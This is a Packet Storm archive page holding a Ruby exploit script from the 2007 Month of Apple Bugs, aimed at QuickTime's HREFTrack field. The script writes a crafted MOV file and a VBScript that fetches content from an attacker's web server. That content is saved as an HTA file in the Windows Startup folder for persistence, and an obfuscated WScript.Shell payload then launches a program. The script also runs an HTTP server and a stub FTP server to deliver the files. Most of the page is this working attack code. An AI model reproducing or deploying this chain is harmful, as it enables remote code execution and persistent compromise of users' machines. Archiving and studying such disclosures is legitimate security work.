exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

MOAB-03-01-2007.rb.txt

MOAB-03-01-2007.rb.txt
Posted Jan 4, 2007
Authored by Kevin Finisterre, LMH | Site projects.info-pull.com

Month Of Apple Bugs - A vulnerability in the handling of the HREFTrack field in Apple QuickTime allows cross-zone scripting, leading to potential remote arbitrary code execution.

tags | exploit, remote, arbitrary, code execution
systems | apple
SHA-256 | 82e3af040fcc4e61d05647eb0b0db44301d563a10028b396f5a1ff378299df69

MOAB-03-01-2007.rb.txt

Change Mirror Download
#!/usr/bin/ruby
#
# (c) 2006 LMH <lmh [at] info-pull.com>
# Original scripting and POC by Aviv Raff (http://aviv.raffon.net).
#
# Description:
# Exploit for MOAB-03-01-2007. If argument 'serve' is passed, it uses port 21 for running the
# fake FTP server (required). HTTP server port can be modified but it's
# not recommended. Adjust as necessary.
#
# see http://projects.info-pull.com/moab/MOAB-03-01-2007.html

require 'socket'
require 'fileutils'
require 'webrick'

trap 0, proc {
puts "-- Terminating: #{$$}"
}

REMOTE_HOST = "192.168.1.133" # Modify to match IP address or hostname
REMOTE_URL = "http://#{REMOTE_HOST}/" # Modify to match target path (ex. /mypath)
TARGET_SCRIPT = "on error resume next\r\n" +
"Set c = CreateObject(\"ADODB.Connection\")\r\n" +
"co = \"Driver={Microsoft Text Driver (*.txt; *.csv)};Dbq=#{REMOTE_URL};Extensions=txt;\"\r\n" +
"c.Open co\r\n" +
"set rs =CreateObject(\"ADODB.Recordset\")\r\n" +
"rs.Open \"SELECT * from qtpoc.txt\", c\r\n" +
"rs.Save \"C:\\Documents and Settings\\All Users\\Start Menu\\Programs\\Startup\\poc.hta\", adPersistXML\r\n" +
"rs.close\r\n" +
"c.close\r\n" +
"window.close\r\n"

HTA_PAYLOAD = "<script>q='%77%73%63%72%69%70';</script>\r\n" +
"<script>q+='%74%2E%73%68%65%6C%6C';</script>\r\n" +
"<script>a=new ActiveXObject(unescape(q));</script>\r\n" +
"<script>a.run('%windir%\\\\System32\\\\calc.exe');</script>\r\n" + # executes calc.exe
"<script>window.close();</script>\r\n"

HREFTRACK_COD = "A<res://mmcndmgr.dll/prevsym12.htm#%29%3B%3C/style%3E%3Cscript src=\"#{REMOTE_URL}q.vbs\" " +
"language=\"vbscript\"%3E%3C/script%3E%3C%21--//|> T<>"

TARGET_DIRECTORY = "served"

#
# ---- Real fun starts here ----
#

puts "++ Preparing files..."

#
# Prepare the MOV file with the HREFTrack pointing at our script.
#
original_mov = File.read("qtpoc.mov")

# Prepare directory structure
FileUtils::mkdir(TARGET_DIRECTORY)

puts "++ MOV file...."
# Write the new MOV file
f = File.new(File.join(TARGET_DIRECTORY, "qtpoc.mov"), "w")
f.write(original_mov)
f.close

puts "++ Script file...."
# Write the script file
f = File.new(File.join(TARGET_DIRECTORY, "q.vbs"), "w")
f.print(TARGET_SCRIPT)
f.close

puts "++ HTA payload file...."
# Write the new HTA file (payload)
f = File.new(File.join(TARGET_DIRECTORY, "qtpoc.txt"), "w")
f.print(HTA_PAYLOAD)
f.close

#
# win32 doesn't like fork ;-)
#
if ARGV[0] == "serve"
# HTTP server... via Webrick
puts "++ Done. Starting HTTP server..."
web_server = WEBrick::HTTPServer.new(:Port => 80, :DocumentRoot =>TARGET_DIRECTORY)
fork do
begin
web_server.start
rescue
exit
end
end

# FTP server....
puts "++ Done. Starting FTP server..."
begin
ftp_server = TCPServer.new('localhost', 21)
rescue
web_server.shutdown
exit
end

# 220 Microsoft FTP Service
# USER anonymous
# 331 Anonymous access allowed, send identity (e-mail name) as password.
# PASS IEUser@
# 230 Anonymous user logged in.
# (...)
while (ftp_session = ftp_server.accept)
puts "++ FTP: #{ftp_session.gets}"
# TODO: implement fake responses just to satisfy it.
ftp_session.close
end

# finished
web_server.shutdown
end
Login or Register to add favorites

File Archive:

April 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Apr 1st
    10 Files
  • 2
    Apr 2nd
    26 Files
  • 3
    Apr 3rd
    40 Files
  • 4
    Apr 4th
    6 Files
  • 5
    Apr 5th
    26 Files
  • 6
    Apr 6th
    0 Files
  • 7
    Apr 7th
    0 Files
  • 8
    Apr 8th
    22 Files
  • 9
    Apr 9th
    14 Files
  • 10
    Apr 10th
    10 Files
  • 11
    Apr 11th
    13 Files
  • 12
    Apr 12th
    14 Files
  • 13
    Apr 13th
    0 Files
  • 14
    Apr 14th
    0 Files
  • 15
    Apr 15th
    30 Files
  • 16
    Apr 16th
    10 Files
  • 17
    Apr 17th
    22 Files
  • 18
    Apr 18th
    45 Files
  • 19
    Apr 19th
    0 Files
  • 20
    Apr 20th
    0 Files
  • 21
    Apr 21st
    0 Files
  • 22
    Apr 22nd
    0 Files
  • 23
    Apr 23rd
    0 Files
  • 24
    Apr 24th
    0 Files
  • 25
    Apr 25th
    0 Files
  • 26
    Apr 26th
    0 Files
  • 27
    Apr 27th
    0 Files
  • 28
    Apr 28th
    0 Files
  • 29
    Apr 29th
    0 Files
  • 30
    Apr 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close